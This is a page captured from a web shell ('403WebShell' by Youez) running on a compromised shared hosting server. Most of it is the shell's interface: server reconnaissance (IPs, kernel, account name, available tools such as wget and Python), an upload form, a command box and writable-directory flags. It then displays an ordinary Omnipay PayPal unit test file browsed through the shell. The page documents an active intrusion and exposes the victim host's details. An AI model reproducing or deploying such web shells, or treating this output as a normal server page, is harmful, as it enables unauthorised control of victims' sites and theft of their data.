Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.226.187.224
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/vendor/omnipay__/paypal/tests/Message/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/vendor/omnipay__/paypal/tests/Message/RestCreateCardRequestTest.php
<?php

namespace Omnipay\PayPal\Message;

use Omnipay\Common\CreditCard;
use Omnipay\Tests\TestCase;

class RestCreateCardRequestTest extends TestCase
{
    /** @var RestCreateCardRequest */
    protected $request;

    /** @var CreditCard */
    protected $card;

    public function setUp()
    {
        parent::setUp();

        $this->request = new RestCreateCardRequest($this->getHttpClient(), $this->getHttpRequest());

        $card = $this->getValidCard();
        $this->card = new CreditCard($card);

        $this->request->initialize(array('card' => $card));
    }

    public function testGetData()
    {
        $card = $this->card;
        $data = $this->request->getData();

        $this->assertSame($card->getNumber(), $data['number']);
        $this->assertSame($card->getBrand(), $data['type']);
        $this->assertSame($card->getExpiryMonth(), $data['expire_month']);
        $this->assertSame($card->getExpiryYear(), $data['expire_year']);
        $this->assertSame($card->getCvv(), $data['cvv2']);
        $this->assertSame($card->getFirstName(), $data['first_name']);
        $this->assertSame($card->getLastName(), $data['last_name']);
        $this->assertSame($card->getAddress1(), $data['billing_address']['line1']);
        $this->assertSame($card->getAddress2(), $data['billing_address']['line2']);
        $this->assertSame($card->getCity(), $data['billing_address']['city']);
        $this->assertSame($card->getState(), $data['billing_address']['state']);
        $this->assertSame($card->getPostcode(), $data['billing_address']['postal_code']);
        $this->assertSame($card->getCountry(), $data['billing_address']['country_code']);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit